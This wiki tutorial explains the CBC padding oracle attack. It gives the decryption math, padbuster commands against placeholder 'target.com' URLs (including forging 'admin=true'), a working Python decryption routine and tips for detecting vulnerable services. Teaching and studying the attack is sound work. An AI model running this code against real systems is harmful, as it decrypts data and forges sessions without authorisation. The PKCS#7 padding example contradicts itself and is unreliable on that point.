Athena Wiki

Padding Oracle Attack

cryptoadvanced

Exploit CBC padding oracles to decrypt and forge ciphertext without knowing the key.

cryptoaescbcpadding-oraclepoodlebleichenbacherdecryption

Padding Oracle Attack

A padding oracle is any system that reveals whether decrypted ciphertext has valid PKCS#7 padding - even just via different error messages or response times. With this single bit of information, you can decrypt any CBC ciphertext and forge arbitrary plaintexts without knowing the key.

Prerequisites

  • CBC mode encryption
  • PKCS#7 padding (the standard: last block padded with \x01, \x02\x02, etc.)
  • A server that reveals whether padding is valid (different error, timing, response length)

PKCS#7 Padding

For 16-byte AES blocks:

Plaintext: "Hello World!    "  (16 bytes → no padding needed → add full block)
With pad:  "Hello World!\x04\x04\x04\x04"  (4 padding bytes of value 4)

Valid PKCS#7 padding:
  1 byte of \x01
  2 bytes of \x02\x02
  ...
  16 bytes of \x10\x10...x10

How the Attack Works

In CBC mode, block ii of plaintext is

Pi=DK(Ci)Ci1P_i = D_K(C_i) \oplus C_{i-1}

where DKD_K is AES block decryption and C0C_0 is the IV.

By modifying C[i-1] and asking the oracle if the result decrypts with valid padding, we can recover the intermediate value AES_K_decrypt(C[i]) byte by byte.

For the last byte of block i:

  1. Set C'[i-1][15] = x (try all 256 values)
  2. Submit C'[i-1] || C[i] to oracle
  3. When oracle says "valid padding" → P'[i][15] = 0x01
  4. Therefore: AES_K_decrypt(C[i])[15] = x XOR 0x01
  5. Recover: P[i][15] = AES_K_decrypt(C[i])[15] XOR C[i-1][15]

Repeat for bytes 14, 13, ... 0, adjusting padding values.

Automated Tool: padbuster

# Install
gem install padbuster

# Usage: padbuster URL CIPHERTEXT BLOCKSIZE [OPTIONS]
padbuster http://target.com/page AABBCC...hex 16 \
  --encoding 1 \        # 0=base64, 1=hex, 2=net, 3=netsafe, 4=html, 5=uri
  --cookies "session=AABBCC...hex"

# Decrypt a ciphertext
padbuster http://target.com/page AABBCC 16 --encoding 0

# Forge arbitrary plaintext (encrypt mode)
padbuster http://target.com/page AABBCC 16 \
  --encoding 0 --plaintext "admin=true"

Python Implementation

import requests
from base64 import b64encode, b64decode

def oracle(ciphertext: bytes) -> bool:
    """Returns True if padding is valid."""
    import base64
    ct_b64 = base64.b64encode(ciphertext).decode()
    r = requests.get(f"http://target.com/decrypt?ct={ct_b64}")
    # Adjust based on how the oracle signals valid/invalid padding:
    return "PaddingException" not in r.text  # or check status code

def decrypt_block(prev_block: bytes, curr_block: bytes) -> bytes:
    """Decrypt one 16-byte block using padding oracle."""
    intermediate = bytearray(16)  # AES_K_decrypt(curr_block)

    for byte_pos in range(15, -1, -1):
        padding_val = 16 - byte_pos  # e.g. byte 15 → \x01, byte 14 → \x02, etc.

        # Fix already-known bytes
        crafted_prev = bytearray(16)
        for k in range(byte_pos + 1, 16):
            crafted_prev[k] = intermediate[k] ^ padding_val

        # Try all 256 values for current byte
        for guess in range(256):
            crafted_prev[byte_pos] = guess
            test_ct = bytes(crafted_prev) + curr_block

            if oracle(test_ct):
                intermediate[byte_pos] = guess ^ padding_val
                print(f"  Byte {byte_pos}: found intermediate = {hex(intermediate[byte_pos])}")
                break

    # XOR with original prev_block to get plaintext
    return bytes(intermediate[i] ^ prev_block[i] for i in range(16))

# Decrypt full ciphertext (IV + ciphertext blocks)
def decrypt_cbc(iv: bytes, ciphertext: bytes) -> bytes:
    blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
    plaintext = b""
    prev = iv
    for block in blocks:
        plaintext += decrypt_block(prev, block)
        prev = block
    # Remove PKCS#7 padding
    pad = plaintext[-1]
    return plaintext[:-pad]

Detecting a Padding Oracle

Signs a service is vulnerable:

  1. Different HTTP status codes for valid vs invalid padding: 200 vs 500
  2. Different error messages: "Invalid padding" vs "Wrong data"
  3. Different response lengths for the two cases
  4. Timing differences: valid padding processed differently
# Test: modify the last byte of IV and observe response
import requests

original_ct = b64decode("...")  # your ciphertext
iv = original_ct[:16]
ct = original_ct[16:]

# Valid (unmodified) → should decrypt fine
r1 = requests.get(url, params={"ct": b64encode(original_ct).decode()})

# Modified IV → should cause padding error
modified_iv = bytearray(iv)
modified_iv[-1] ^= 0x01  # flip one bit
r2 = requests.get(url, params={"ct": b64encode(bytes(modified_iv) + ct).decode()})

print(f"Valid:   {r1.status_code} {len(r1.text)}")
print(f"Invalid: {r2.status_code} {len(r2.text)}")
# Different? → padding oracle exists!

Last updated on

On this page